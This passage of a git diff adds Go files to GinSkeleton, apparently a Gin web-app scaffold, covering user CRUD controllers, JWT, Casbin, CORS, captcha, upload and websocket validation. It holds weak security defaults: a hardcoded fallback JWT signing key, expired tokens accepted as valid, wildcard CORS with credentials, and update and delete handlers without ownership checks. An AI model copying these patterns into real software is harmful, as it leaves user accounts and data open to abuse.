counts, showlist := model.CreateUserFactory("").Show(userName, int(limitStart), int(limit)) + if counts > 0 && showlist != nil { + response.Success(context, consts.CurdStatusOkMsg, gin.H{"counts": counts, "list": showlist}) + } else { + response.Fail(context, consts.CurdSelectFailCode, consts.CurdSelectFailMsg, "") + } +} + +//4.用户新增(store) +func (u *Users) Store(context *gin.Context) { + userName := context.GetString(consts.ValidatorPrefix + "user_name") + pass := context.GetString(consts.ValidatorPrefix + "pass") + realName := context.GetString(consts.ValidatorPrefix + "real_name") + phone := context.GetString(consts.ValidatorPrefix + "phone") + remark := context.GetString(consts.ValidatorPrefix + "remark") + + if curd.CreateUserCurdFactory().Store(userName, pass, realName, phone, remark) { + response.Success(context, consts.CurdStatusOkMsg, "") + } else { + response.Fail(context, consts.CurdCreatFailCode, consts.CurdCreatFailMsg, "") + } +} + +//5.用户更新(update) +func (u *Users) Update(context *gin.Context) { + //表单参数验证中的int、int16、int32 、int64、float32、float64等数字键(字段),请统一使用 GetFloat64() 获取,其他函数无效 + userId := context.GetFloat64(consts.ValidatorPrefix + "id") + userName := context.GetString(consts.ValidatorPrefix + "user_name") + pass := context.GetString(consts.ValidatorPrefix + "pass") + realName := context.GetString(consts.ValidatorPrefix + "real_name") + phone := context.GetString(consts.ValidatorPrefix + "phone") + remark := context.GetString(consts.ValidatorPrefix + "remark") + userIp := context.ClientIP() + + // 检查正在修改的用户名是否被其他人使用 + if model.CreateUserFactory("").UpdateDataCheckUserNameIsUsed(int(userId), userName) > 0 { + response.Fail(context, consts.CurdUpdateFailCode, consts.CurdUpdateFailMsg+", "+userName+" 已经被其他人使用", "") + return + } + + //注意:这里没有实现更加精细的权限控制逻辑,例如:超级管理管理员可以更新全部用户数据,普通用户只能修改自己的数据。目前只是验证了token有效、合法之后就可以进行后续操作 + // 实际使用请根据真是业务实现权限控制逻辑、再进行数据库操作 + if curd.CreateUserCurdFactory().Update(int(userId), userName, pass, realName, phone, remark, userIp) { + response.Success(context, consts.CurdStatusOkMsg, "") + } else { + response.Fail(context, consts.CurdUpdateFailCode, consts.CurdUpdateFailMsg, "") + } + +} + +//6.删除记录 +func (u *Users) Destroy(context *gin.Context) { + //表单参数验证中的int、int16、int32 、int64、float32、float64等数字键(字段),请统一使用 GetFloat64() 获取,其他函数无效 + userId := context.GetFloat64(consts.ValidatorPrefix + "id") + if model.CreateUserFactory("").Destroy(int(userId)) { + response.Success(context, consts.CurdStatusOkMsg, "") + } else { + response.Fail(context, consts.CurdDeleteFailCode, consts.CurdDeleteFailMsg, "") + } +} diff --git a/GinSkeleton/app/http/controller/websocket/ws.go b/GinSkeleton/app/http/controller/websocket/ws.go new file mode 100644 index 0000000..8c45808 --- /dev/null +++ b/GinSkeleton/app/http/controller/websocket/ws.go @@ -0,0 +1,24 @@ +package websocket + +import ( + "github.com/gin-gonic/gin" + serviceWs "goskeleton/app/service/websocket" +) + +/** +websocket 想要了解更多具体细节请参见以下文档 +文档地址:https://github.com/gorilla/websocket/tree/master/examples +*/ + +type Ws struct { +} + +// OnOpen 主要解决握手+协议升级 +func (w *Ws) OnOpen(context *gin.Context) (*serviceWs.Ws, bool) { + return (&serviceWs.Ws{}).OnOpen(context) +} + +// OnMessage 处理业务消息 +func (w *Ws) OnMessage(serviceWs *serviceWs.Ws, context *gin.Context) { + serviceWs.OnMessage(context) +} diff --git a/GinSkeleton/app/http/middleware/authorization/auth.go b/GinSkeleton/app/http/middleware/authorization/auth.go new file mode 100644 index 0000000..c8a46a0 --- /dev/null +++ b/GinSkeleton/app/http/middleware/authorization/auth.go @@ -0,0 +1,165 @@ +package authorization + +import ( + "github.com/dchest/captcha" + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "goskeleton/app/global/variable" + userstoken "goskeleton/app/service/users/token" + "goskeleton/app/utils/response" + "strings" +) + +type HeaderParams struct { + Authorization string `header:"Authorization" binding:"required,min=20"` +} + +// CheckTokenAuth 检查token完整性、有效性中间件 +func CheckTokenAuth() gin.HandlerFunc { + return func(context *gin.Context) { + + headerParams := HeaderParams{} + + // 推荐使用 ShouldBindHeader 方式获取头参数 + if err := context.ShouldBindHeader(&headerParams); err != nil { + response.TokenErrorParam(context, consts.JwtTokenMustValid+err.Error()) + return + } + token := strings.Split(headerParams.Authorization, " ") + if len(token) == 2 && len(token[1]) >= 20 { + tokenIsEffective := userstoken.CreateUserFactory().IsEffective(token[1]) + if tokenIsEffective { + if customToken, err := userstoken.CreateUserFactory().ParseToken(token[1]); err == nil { + key := variable.ConfigYml.GetString("Token.BindContextKeyName") + // token验证通过,同时绑定在请求上下文 + context.Set(key, customToken) + } + context.Next() + } else { + response.ErrorTokenAuthFail(context) + } + } else { + response.ErrorTokenBaseInfo(context) + } + } +} + +// CheckTokenAuthWithRefresh 检查token完整性、有效性并且自动刷新中间件 +func CheckTokenAuthWithRefresh() gin.HandlerFunc { + return func(context *gin.Context) { + + headerParams := HeaderParams{} + + // 推荐使用 ShouldBindHeader 方式获取头参数 + if err := context.ShouldBindHeader(&headerParams); err != nil { + response.TokenErrorParam(context, consts.JwtTokenMustValid+err.Error()) + return + } + token := strings.Split(headerParams.Authorization, " ") + if len(token) == 2 && len(token[1]) >= 20 { + tokenIsEffective := userstoken.CreateUserFactory().IsEffective(token[1]) + // 判断token是否有效 + if tokenIsEffective { + if customToken, err := userstoken.CreateUserFactory().ParseToken(token[1]); err == nil { + key := variable.ConfigYml.GetString("Token.BindContextKeyName") + // token验证通过,同时绑定在请求上下文 + context.Set(key, customToken) + // 在自动刷新token的中间件中,将请求的认证键、值,原路返回,与后续刷新逻辑格式保持一致 + context.Header("Refresh-Token", "") + context.Header("Access-Control-Expose-Headers", "Refresh-Token") + } + context.Next() + } else { + // 判断token是否满足刷新条件 + if userstoken.CreateUserFactory().TokenIsMeetRefreshCondition(token[1]) { + // 刷新token + if newToken, ok := userstoken.CreateUserFactory().RefreshToken(token[1], context.ClientIP()); ok { + if customToken, err := userstoken.CreateUserFactory().ParseToken(newToken); err == nil { + key := variable.ConfigYml.GetString("Token.BindContextKeyName") + // token刷新成功,同时绑定在请求上下文 + context.Set(key, customToken) + } + // 新token放入header返回 + context.Header("Refresh-Token", newToken) + context.Header("Access-Control-Expose-Headers", "Refresh-Token") + context.Next() + } else { + response.ErrorTokenRefreshFail(context) + } + } else { + response.ErrorTokenRefreshFail(context) + } + } + } else { + response.ErrorTokenBaseInfo(context) + } + } +} + +// RefreshTokenConditionCheck 刷新token条件检查中间件,针对已经过期的token,要求是token格式以及携带的信息满足配置参数即可 +func RefreshTokenConditionCheck() gin.HandlerFunc { + return func(context *gin.Context) { + + headerParams := HeaderParams{} + if err := context.ShouldBindHeader(&headerParams); err != nil { + response.TokenErrorParam(context, consts.JwtTokenMustValid+err.Error()) + return + } + token := strings.Split(headerParams.Authorization, " ") + if len(token) == 2 && len(token[1]) >= 20 { + // 判断token是否满足刷新条件 + if userstoken.CreateUserFactory().TokenIsMeetRefreshCondition(token[1]) { + context.Next() + } else { + response.ErrorTokenRefreshFail(context) + } + } else { + response.ErrorTokenBaseInfo(context) + } + } +} + +// CheckCasbinAuth casbin检查用户对应的角色权限是否允许访问接口 +func CheckCasbinAuth() gin.HandlerFunc { + return func(c *gin.Context) { + requstUrl := c.Request.URL.Path + method := c.Request.Method + + // 模拟请求参数转换后的角色(roleId=2) + // 主线版本没有深度集成casbin的使用逻辑 + // GinSkeleton-Admin 系统则深度集成了casbin接口权限管控 + // 详细实现参考地址:https://gitee.com/daitougege/gin-skeleton-admin-backend/blob/master/app/http/middleware/authorization/auth.go + role := "2" // 这里模拟某个用户的roleId=2 + + // 这里将用户的id解析为所拥有的的角色,判断是否具有某个权限即可 + isPass, err := variable.Enforcer.Enforce(role, requstUrl, method) + if err != nil { + response.ErrorCasbinAuthFail(c, err.Error()) + return + } else if !isPass { + response.ErrorCasbinAuthFail(c, "") + return + } else { + c.Next() + } + } +} + +// CheckCaptchaAuth 验证码中间件 +func CheckCaptchaAuth() gin.HandlerFunc { + return func(c *gin.Context) { + captchaIdKey := variable.ConfigYml.GetString("Captcha.captchaId") + captchaValueKey := variable.ConfigYml.GetString("Captcha.captchaValue") + captchaId := c.PostForm(captchaIdKey) + value := c.PostForm(captchaValueKey) + if captchaId == "" || value == "" { + response.Fail(c, consts.CaptchaCheckParamsInvalidCode, consts.CaptchaCheckParamsInvalidMsg, "") + return + } + if captcha.VerifyString(captchaId, value) { + c.Next() + } else { + response.Fail(c, consts.CaptchaCheckFailCode, consts.CaptchaCheckFailMsg, "") + } + } +} diff --git a/GinSkeleton/app/http/middleware/cors/cors.go b/GinSkeleton/app/http/middleware/cors/cors.go new file mode 100644 index 0000000..305ed05 --- /dev/null +++ b/GinSkeleton/app/http/middleware/cors/cors.go @@ -0,0 +1,24 @@ +package cors + +import ( + "github.com/gin-gonic/gin" + "net/http" +) + +// 允许跨域 +func Next() gin.HandlerFunc { + return func(c *gin.Context) { + method := c.Request.Method + c.Header("Access-Control-Allow-Origin", "*") + c.Header("Access-Control-Allow-Headers", "Access-Control-Allow-Headers,Authorization,User-Agent, Keep-Alive, Content-Type, X-Requested-With,X-CSRF-Token,AccessToken,Token") + c.Header("Access-Control-Allow-Methods", "GET, POST, DELETE, PUT, PATCH, OPTIONS") + c.Header("Access-Control-Expose-Headers", "Content-Length, Access-Control-Allow-Origin, Access-Control-Allow-Headers, Content-Type") + c.Header("Access-Control-Allow-Credentials", "true") + + // 放行所有OPTIONS方法 + if method == "OPTIONS" { + c.AbortWithStatus(http.StatusAccepted) + } + c.Next() + } +} diff --git a/GinSkeleton/app/http/middleware/my_jwt/custom_claims.go b/GinSkeleton/app/http/middleware/my_jwt/custom_claims.go new file mode 100644 index 0000000..a7ffe19 --- /dev/null +++ b/GinSkeleton/app/http/middleware/my_jwt/custom_claims.go @@ -0,0 +1,11 @@ +package my_jwt + +import "github.com/dgrijalva/jwt-go" + +// 自定义jwt的声明字段信息+标准字段,参考地址:https://blog.csdn.net/codeSquare/article/details/99288718 +type CustomClaims struct { + UserId int64 `json:"user_id"` + Name string `json:"user_name"` + Phone string `json:"phone"` + jwt.StandardClaims +} diff --git a/GinSkeleton/app/http/middleware/my_jwt/my_jwt.go b/GinSkeleton/app/http/middleware/my_jwt/my_jwt.go new file mode 100644 index 0000000..0ddcaef --- /dev/null +++ b/GinSkeleton/app/http/middleware/my_jwt/my_jwt.go @@ -0,0 +1,73 @@ +package my_jwt + +import ( + "errors" + "github.com/dgrijalva/jwt-go" + "goskeleton/app/global/my_errors" + "time" +) + +// 使用工厂创建一个 JWT 结构体 +func CreateMyJWT(signKey string) *JwtSign { + if len(signKey) <= 0 { + signKey = "goskeleton" + } + return &JwtSign{ + []byte(signKey), + } +} + +// 定义一个 JWT验签 结构体 +type JwtSign struct { + SigningKey []byte +} + +// CreateToken 生成一个token +func (j *JwtSign) CreateToken(claims CustomClaims) (string, error) { + // 生成jwt格式的header、claims 部分 + tokenPartA := jwt.NewWithClaims(jwt.SigningMethodHS256, claims) + // 继续添加秘钥值,生成最后一部分 + return tokenPartA.SignedString(j.SigningKey) +} + +// 解析Token +func (j *JwtSign) ParseToken(tokenString string) (*CustomClaims, error) { + token, err := jwt.ParseWithClaims(tokenString, &CustomClaims{}, func(token *jwt.Token) (interface{}, error) { + return j.SigningKey, nil + }) + if token == nil { + return nil, errors.New(my_errors.ErrorsTokenInvalid) + } + if err != nil { + if ve, ok := err.(*jwt.ValidationError); ok { + if ve.Errors&jwt.ValidationErrorMalformed != 0 { + return nil, errors.New(my_errors.ErrorsTokenMalFormed) + } else if ve.Errors&jwt.ValidationErrorNotValidYet != 0 { + return nil, errors.New(my_errors.ErrorsTokenNotActiveYet) + } else if ve.Errors&jwt.ValidationErrorExpired != 0 { + // 如果 TokenExpired ,只是过期(格式都正确),我们认为他是有效的,接下可以允许刷新操作 + token.Valid = true + goto labelHere + } else { + return nil, errors.New(my_errors.ErrorsTokenInvalid) + } + } + } +labelHere: + if claims, ok := token.Claims.(*CustomClaims); ok && token.Valid { + return claims, nil + } else { + return nil, errors.New(my_errors.ErrorsTokenInvalid) + } +} + +// 更新token +func (j *JwtSign) RefreshToken(tokenString string, extraAddSeconds int64) (string, error) { + + if CustomClaims, err := j.ParseToken(tokenString); err == nil { + CustomClaims.ExpiresAt = time.Now().Unix() + extraAddSeconds + return j.CreateToken(*CustomClaims) + } else { + return "", err + } +} diff --git a/GinSkeleton/app/http/validator/api/home/news.go b/GinSkeleton/app/http/validator/api/home/news.go new file mode 100644 index 0000000..193a92a --- /dev/null +++ b/GinSkeleton/app/http/validator/api/home/news.go @@ -0,0 +1,36 @@ +package home + +import ( + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "goskeleton/app/http/controller/api" + common_data_type "goskeleton/app/http/validator/common/data_type" + "goskeleton/app/http/validator/core/data_transfer" + "goskeleton/app/utils/response" +) + +// 门户类前端接口模拟一个获取新闻的参数验证器 + +type News struct { + NewsType string `form:"newsType" json:"newsType" binding:"required,min=1"` // 验证规则:必填,最小长度为1 + common_data_type.Page +} + +func (n News) CheckParams(context *gin.Context) { + //1.先按照验证器提供的基本语法,基本可以校验90%以上的不合格参数 + if err := context.ShouldBind(&n); err != nil { + // 将表单参数验证器出现的错误直接交给错误翻译器统一处理即可 + response.ValidatorError(context, err) + return + } + + // 该函数主要是将绑定的数据以 键=>值 形式直接传递给下一步(控制器) + extraAddBindDataContext := data_transfer.DataAddContext(n, consts.ValidatorPrefix, context) + if extraAddBindDataContext == nil { + response.ErrorSystem(context, "HomeNews表单验证器json化失败", "") + } else { + // 验证完成,调用控制器,并将验证器成员(字段)递给控制器,保持上下文数据一致性 + (&api.Home{}).News(extraAddBindDataContext) + } + +} diff --git a/GinSkeleton/app/http/validator/common/data_type/common_data_type.go b/GinSkeleton/app/http/validator/common/data_type/common_data_type.go new file mode 100644 index 0000000..c291fef --- /dev/null +++ b/GinSkeleton/app/http/validator/common/data_type/common_data_type.go @@ -0,0 +1,6 @@ +package data_type + +type Page struct { + Page float64 `form:"page" json:"page" binding:"min=1"` // 必填,页面值>=1 + Limit float64 `form:"limit" json:"limit" binding:"min=1"` // 必填,每页条数值>=1 +} diff --git a/GinSkeleton/app/http/validator/common/register_validator/api_register_validator.go b/GinSkeleton/app/http/validator/common/register_validator/api_register_validator.go new file mode 100644 index 0000000..c0ee7ee --- /dev/null +++ b/GinSkeleton/app/http/validator/common/register_validator/api_register_validator.go @@ -0,0 +1,20 @@ +package register_validator + +import ( + "goskeleton/app/core/container" + "goskeleton/app/global/consts" + "goskeleton/app/http/validator/api/home" +) + +// 各个业务模块验证器必须进行注册(初始化),程序启动时会自动加载到容器 +func ApiRegisterValidator() { + //创建容器 + containers := container.CreateContainersFactory() + + // key 按照前缀+模块+验证动作 格式,将各个模块验证注册在容器 + var key string + + // 注册门户类表单参数验证器 + key = consts.ValidatorPrefix + "HomeNews" + containers.Set(key, home.News{}) +} diff --git a/GinSkeleton/app/http/validator/common/register_validator/web_register_validator.go b/GinSkeleton/app/http/validator/common/register_validator/web_register_validator.go new file mode 100644 index 0000000..278c34a --- /dev/null +++ b/GinSkeleton/app/http/validator/common/register_validator/web_register_validator.go @@ -0,0 +1,43 @@ +package register_validator + +import ( + "goskeleton/app/core/container" + "goskeleton/app/global/consts" + "goskeleton/app/http/validator/common/upload_files" + "goskeleton/app/http/validator/common/websocket" + "goskeleton/app/http/validator/web/users" +) + +// 各个业务模块验证器必须进行注册(初始化),程序启动时会自动加载到容器 +func WebRegisterValidator() { + //创建容器 + containers := container.CreateContainersFactory() + + // key 按照前缀+模块+验证动作 格式,将各个模块验证注册在容器 + var key string + // Users 模块表单验证器按照 key => value 形式注册在容器,方便路由模块中调用 + key = consts.ValidatorPrefix + "UsersRegister" + containers.Set(key, users.Register{}) + key = consts.ValidatorPrefix + "UsersLogin" + containers.Set(key, users.Login{}) + key = consts.ValidatorPrefix + "RefreshToken" + containers.Set(key, users.RefreshToken{}) + + // Users基本操作(CURD) + key = consts.ValidatorPrefix + "UsersShow" + containers.Set(key, users.Show{}) + key = consts.ValidatorPrefix + "UsersStore" + containers.Set(key, users.Store{}) + key = consts.ValidatorPrefix + "UsersUpdate" + containers.Set(key, users.Update{}) + key = consts.ValidatorPrefix + "UsersDestroy" + containers.Set(key, users.Destroy{}) + + // 文件上传 + key = consts.ValidatorPrefix + "UploadFiles" + containers.Set(key, upload_files.UpFiles{}) + + // Websocket 连接验证器 + key = consts.ValidatorPrefix + "WebsocketConnect" + containers.Set(key, websocket.Connect{}) +} diff --git a/GinSkeleton/app/http/validator/common/upload_files/upload_fiels.go b/GinSkeleton/app/http/validator/common/upload_files/upload_fiels.go new file mode 100644 index 0000000..71388de --- /dev/null +++ b/GinSkeleton/app/http/validator/common/upload_files/upload_fiels.go @@ -0,0 +1,58 @@ +package upload_files + +import ( + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "goskeleton/app/global/variable" + "goskeleton/app/http/controller/web" + "goskeleton/app/utils/files" + "goskeleton/app/utils/response" + "strconv" + "strings" +) + +type UpFiles struct { +} + +// 文件上传公共模块表单参数验证器 +func (u UpFiles) CheckParams(context *gin.Context) { + tmpFile, err := context.FormFile(variable.ConfigYml.GetString("FileUploadSetting.UploadFileField")) // file 是一个文件结构体(文件对象) + var isPass bool + //获取文件发生错误,可能上传了空文件等 + if err != nil { + response.Fail(context, consts.FilesUploadFailCode, consts.FilesUploadFailMsg, err.Error()) + return + } + if tmpFile.Size == 0 { + response.Fail(context, consts.FilesUploadMoreThanMaxSizeCode, consts.FilesUploadIsEmpty, "") + return + } + + //超过系统设定的最大值:32M,tmpFile.Size 的单位是 bytes 和我们定义的文件单位M 比较,就需要将我们的单位*1024*1024(即2的20次方),一步到位就是 << 20 + sizeLimit := variable.ConfigYml.GetInt64("FileUploadSetting.Size") + if tmpFile.Size > sizeLimit<<20 { + response.Fail(context, consts.FilesUploadMoreThanMaxSizeCode, consts.FilesUploadMoreThanMaxSizeMsg+strconv.FormatInt(sizeLimit, 10)+"M", "") + return + } + //不允许的文件mime类型 + if fp, err := tmpFile.Open(); err == nil { + mimeType := files.GetFilesMimeByFp(fp) + + for _, value := range variable.ConfigYml.GetStringSlice("FileUploadSetting.AllowMimeType") { + if strings.ReplaceAll(value, " ", "") == strings.ReplaceAll(mimeType, " ", "") { + isPass = true + break + } + } + _ = fp.Close() + } else { + response.ErrorSystem(context, consts.ServerOccurredErrorMsg, "") + return + } + //凡是存在相等的类型,通过验证,调用控制器 + if !isPass { + response.Fail(context, consts.FilesUploadMimeTypeFailCode, consts.FilesUploadMimeTypeFailMsg, "") + } else { + (&web.Upload{}).StartUpload(context) + } +} diff --git a/GinSkeleton/app/http/validator/common/websocket/connect.go b/GinSkeleton/app/http/validator/common/websocket/connect.go new file mode 100644 index 0000000..bf0694b --- /dev/null +++ b/GinSkeleton/app/http/validator/common/websocket/connect.go @@ -0,0 +1,43 @@ +package websocket + +import ( + "github.com/gin-gonic/gin" + "go.uber.org/zap" + "goskeleton/app/global/consts" + "goskeleton/app/global/variable" + controllerWs "goskeleton/app/http/controller/websocket" + "goskeleton/app/http/validator/core/data_transfer" +) + +type Connect struct { + Token string `form:"token" json:"token" binding:"required,min=10"` +} + +// 验证器语法,参见 Register.go文件,有详细说明 +// 注意:websocket 连接建立之前如果有错误,只能在服务端同构日志输出方式记录(因为使用response.Fail等函数,客户端是收不到任何信息的) + +func (c Connect) CheckParams(context *gin.Context) { + + // 1. 首先检查是否开启websocket服务配置(在配置项中开启) + if variable.ConfigYml.GetInt("Websocket.Start") != 1 { + variable.ZapLog.Error(consts.WsServerNotStartMsg) + return + } + //2.基本的验证规则没有通过 + if err := context.ShouldBind(&c); err != nil { + variable.ZapLog.Error("客户端上线参数不合格", zap.Error(err)) + return + } + extraAddBindDataContext := data_transfer.DataAddContext(c, consts.ValidatorPrefix, context) + if extraAddBindDataContext == nil { + variable.ZapLog.Error("websocket-Connect 表单验证器json化失败") + context.Abort() + return + } else { + if serviceWs, ok := (&controllerWs.Ws{}).OnOpen(extraAddBindDataContext); ok == false { + variable.ZapLog.Error(consts.WsOpenFailMsg) + } else { + (&controllerWs.Ws{}).OnMessage(serviceWs, extraAddBindDataContext) // 注意这里传递的service_ws必须是调用open返回的,必须保证的ws对象的一致性 + } + } +} diff --git a/GinSkeleton/app/http/validator/core/data_transfer/data_transfer.go b/GinSkeleton/app/http/validator/core/data_transfer/data_transfer.go new file mode 100644 index 0000000..490ef84 --- /dev/null +++ b/GinSkeleton/app/http/validator/core/data_transfer/data_transfer.go @@ -0,0 +1,37 @@ +package data_transfer + +import ( + "encoding/json" + "github.com/gin-gonic/gin" + "goskeleton/app/global/variable" + "goskeleton/app/http/validator/core/interf" + "time" +) + +// 将验证器成员(字段)绑定到数据传输上下文,方便控制器获取 +/** +本函数参数说明: +validatorInterface 实现了验证器接口的结构体 +extra_add_data_prefix 验证器绑定参数传递给控制器的数据前缀 +context gin上下文 +*/ + +func DataAddContext(validatorInterface interf.ValidatorInterface, extraAddDataPrefix string, context *gin.Context) *gin.Context { + var tempJson interface{} + if tmpBytes, err1 := json.Marshal(validatorInterface); err1 == nil { + if err2 := json.Unmarshal(tmpBytes, &tempJson); err2 == nil { + if value, ok := tempJson.(map[string]interface{}); ok { + for k, v := range value { + context.Set(extraAddDataPrefix+k, v) + } + // 此外给上下文追加三个键:created_at 、 updated_at 、 deleted_at ,实际根据需要自己选择获取相关键值 + curDateTime := time.Now().Format(variable.DateFormat) + context.Set(extraAddDataPrefix+"created_at", curDateTime) + context.Set(extraAddDataPrefix+"updated_at", curDateTime) + context.Set(extraAddDataPrefix+"deleted_at", curDateTime) + return context + } + } + } + return nil +} diff --git a/GinSkeleton/app/http/validator/core/factory/factory.go b/GinSkeleton/app/http/validator/core/factory/factory.go new file mode 100644 index 0000000..bfa8c20 --- /dev/null +++ b/GinSkeleton/app/http/validator/core/factory/factory.go @@ -0,0 +1,21 @@ +package factory + +import ( + "github.com/gin-gonic/gin" + "goskeleton/app/core/container" + "goskeleton/app/global/my_errors" + "goskeleton/app/global/variable" + "goskeleton/app/http/validator/core/interf" +) + +// 表单参数验证器工厂(请勿修改) +func Create(key string) func(context *gin.Context) { + + if value := container.CreateContainersFactory().Get(key); value != nil { + if val, isOk := value.(interf.ValidatorInterface); isOk { + return val.CheckParams + } + } + variable.ZapLog.Error(my_errors.ErrorsValidatorNotExists + ", 验证器模块:" + key) + return nil +} diff --git a/GinSkeleton/app/http/validator/core/interf/interf.go b/GinSkeleton/app/http/validator/core/interf/interf.go new file mode 100644 index 0000000..9e62a27 --- /dev/null +++ b/GinSkeleton/app/http/validator/core/interf/interf.go @@ -0,0 +1,8 @@ +package interf + +import "github.com/gin-gonic/gin" + +// 验证器接口,每个验证器必须实现该接口,请勿修改 +type ValidatorInterface interface { + CheckParams(context *gin.Context) +} diff --git a/GinSkeleton/app/http/validator/web/users/data_type.go b/GinSkeleton/app/http/validator/web/users/data_type.go new file mode 100644 index 0000000..9c4fd48 --- /dev/null +++ b/GinSkeleton/app/http/validator/web/users/data_type.go @@ -0,0 +1,10 @@ +package users + +type BaseField struct { + UserName string `form:"user_name" json:"user_name" binding:"required,min=1"` // 必填、对于文本,表示它的长度>=1 + Pass string `form:"pass" json:"pass" binding:"required,min=6,max=20"` // 密码为 必填,长度>=6 +} + +type Id struct { + Id float64 `form:"id" json:"id" binding:"required,min=1"` +} diff --git a/GinSkeleton/app/http/validator/web/users/destroy.go b/GinSkeleton/app/http/validator/web/users/destroy.go new file mode 100644 index 0000000..d712088 --- /dev/null +++ b/GinSkeleton/app/http/validator/web/users/destroy.go @@ -0,0 +1,48 @@ +package users + +import ( + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "goskeleton/app/http/controller/web" + "goskeleton/app/http/validator/core/data_transfer" + "goskeleton/app/utils/response" +) + +type Destroy struct { + // 表单参数验证结构体支持匿名结构体嵌套、以及匿名结构体与普通字段组合 + Id +} + +// 验证器语法,参见 Register.go文件,有详细说明 + +func (d Destroy) CheckParams(context *gin.Context) { + + if err := context.ShouldBind(&d); err != nil { + // 将表单参数验证器出现的错误直接交给错误翻译器统一处理即可 + response.ValidatorError(context, err) + return + } + + // 该函数主要是将本结构体的字段(成员)按照 consts.ValidatorPrefix+ json标签对应的 键 => 值 形式绑定在上下文,便于下一步(控制器)可以直接通过 context.Get(键) 获取相关值 + extraAddBindDataContext := data_transfer.DataAddContext(d, consts.ValidatorPrefix, context) + if extraAddBindDataContext == nil { + response.ErrorSystem(context, "UserShow表单参数验证器json化失败", "") + return + } else { + // 验证完成,调用控制器,并将验证器成员(字段)递给控制器,保持上下文数据一致性 + (&web.Users{}).Destroy(extraAddBindDataContext) + + // 以下代码为模拟 前置、后置函数的回调代码 + /* + func(before_callback_fn func(context *gin.Context) bool, after_callback_fn func(context *gin.Context)) { + if before_callback_fn(extraAddBindDataContext) { + defer after_callback_fn(extraAddBindDataContext) + (&Web.Users{}).Destroy(extraAddBindDataContext) + } else { + // 这里编写前置函数验证不通过的相关返回提示逻辑... + + } + }((&Users.DestroyBefore{}).Before, (&Users.DestroyAfter{}).After) + */ + } +} diff --git a/GinSkeleton/app/http/validator/web/users/login.go b/GinSkeleton/app/http/validator/web/users/login.go new file mode 100644 index 0000000..7b97d24 --- /dev/null +++ b/GinSkeleton/app/http/validator/web/users/login.go @@ -0,0 +1,35 @@ +package users + +import ( + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "goskeleton/app/http/controller/web" + "goskeleton/app/http/validator/core/data_transfer" + "goskeleton/app/utils/response" +) + +type Login struct { + // 表单参数验证结构体支持匿名结构体嵌套 + BaseField +} + +// 验证器语法,参见 Register.go文件,有详细说明 + +func (l Login) CheckParams(context *gin.Context) { + + //1.基本的验证规则没有通过 + if err := context.ShouldBind(&l); err != nil { + response.ValidatorError(context, err) + return + } + + // 该函数主要是将本结构体的字段(成员)按照 consts.ValidatorPrefix+ json标签对应的 键 => 值 形式绑定在上下文,便于下一步(控制器)可以直接通过 context.Get(键) 获取相关值 + extraAddBindDataContext := data_transfer.DataAddContext(l, consts.ValidatorPrefix, context) + if extraAddBindDataContext == nil { + response.ErrorSystem(context, "userLogin表单验证器json化失败", "") + } else { + // 验证完成,调用控制器,并将验证器成员(字段)递给控制器,保持上下文数据一致性 + (&web.Users{}).Login(extraAddBindDataContext) + } + +} diff --git a/GinSkeleton/app/http/validator/web/users/refresh_token.go b/GinSkeleton/app/http/validator/web/users/refresh_token.go new file mode 100644 index 0000000..e22e397 --- /dev/null +++ b/GinSkeleton/app/http/validator/web/users/refresh_token.go @@ -0,0 +1,36 @@ +package users + +import ( + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "goskeleton/app/http/controller/web" + "goskeleton/app/utils/response" + "strings" +) + +type RefreshToken struct { + Authorization string `json:"token" header:"Authorization" binding:"required,min=20"` +} + +// 验证器语法,参见 Register.go文件,有详细说明 + +func (r RefreshToken) CheckParams(context *gin.Context) { + + //1.基本的验证规则没有通过 + if err := context.ShouldBindHeader(&r); err != nil { + // 将表单参数验证器出现的错误直接交给错误翻译器统一处理即可 + response.ValidatorError(context, err) + return + } + token := strings.Split(r.Authorization, " ") + if len(token) == 2 { + context.Set(consts.ValidatorPrefix+"token", token[1]) + (&web.Users{}).RefreshToken(context) + } else { + errs := gin.H{ + "tips": "Token不合法,token请放置在header头部分,按照按=>键提交,例如:Authorization:Bearer 你的实际token....", + } + response.Fail(context, consts.JwtTokenFormatErrCode, consts.JwtTokenFormatErrMsg, errs) + } + +} diff --git a/GinSkeleton/app/http/validator/web/users/register.go b/GinSkeleton/app/http/validator/web/users/register.go new file mode 100644 index 0000000..6523150 --- /dev/null +++ b/GinSkeleton/app/http/validator/web/users/register.go @@ -0,0 +1,58 @@ +package users + +import ( + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "goskeleton/app/http/controller/web" + "goskeleton/app/http/validator/core/data_transfer" + "goskeleton/app/utils/response" +) + +// 验证器是本项目骨架的先锋队,必须发挥它的极致优势,具体参考地址: +//https://godoc.org/github.com/go-playground/validator ,该验证器非常强大,强烈建议重点发挥, +//请求正式进入控制器等后面的业务逻辑层之前,参数的校验必须在验证器层完成,后面的控制器等就只管获取各种参数,代码一把梭 + +// 给出一些最常用的验证规则: +//required 必填; +//len=11 长度=11; +//min=3 如果是数字,验证的是数据范围,最小值为3,如果是文本,验证的是最小长度为3, +//max=6 如果是数字,验证的是数字最大值为6,如果是文本,验证的是最大长度为6 +// mail 验证邮箱 +//gt=3 对于文本就是长度>=3 +//lt=6 对于文本就是长度<=6 + +type Register struct { + BaseField + // 表单参数验证结构体支持匿名结构体嵌套、以及匿名结构体与普通字段组合 + Phone string `form:"phone" json:"phone"` // 手机号, 非必填 + CardNo string `form:"card_no" json:"card_no"` //身份证号码,非必填 +} + +// 特别注意: 表单参数验证器结构体的函数,绝对不能绑定在指针上 +// 我们这部分代码项目启动后会加载到容器,如果绑定在指针,一次请求之后,会造成容器中的代码段被污染 + +func (r Register) CheckParams(context *gin.Context) { + //1.先按照验证器提供的基本语法,基本可以校验90%以上的不合格参数 + if err := context.ShouldBind(&r); err != nil { + response.ValidatorError(context, err) + return + } + //2.继续验证具有中国特色的参数,例如 身份证号码等,基本语法校验了长度18位,然后可以自行编写正则表达式等更进一步验证每一部分组成 + // r.CardNo 获取身份证号码继续校验,可能需要开发者编写正则表达式,稍微复杂,这里忽略 + + // r.Phone 获取手机号码,可以根据手机号码开头等等自定义验证,例如 如果不是以138 开头的手机号码,则报错 + //if !strings.HasPrefix(r.CardNo, "138") { + // response.ErrorParam(context, gin.H{"tips": "手机号码字段:card_no 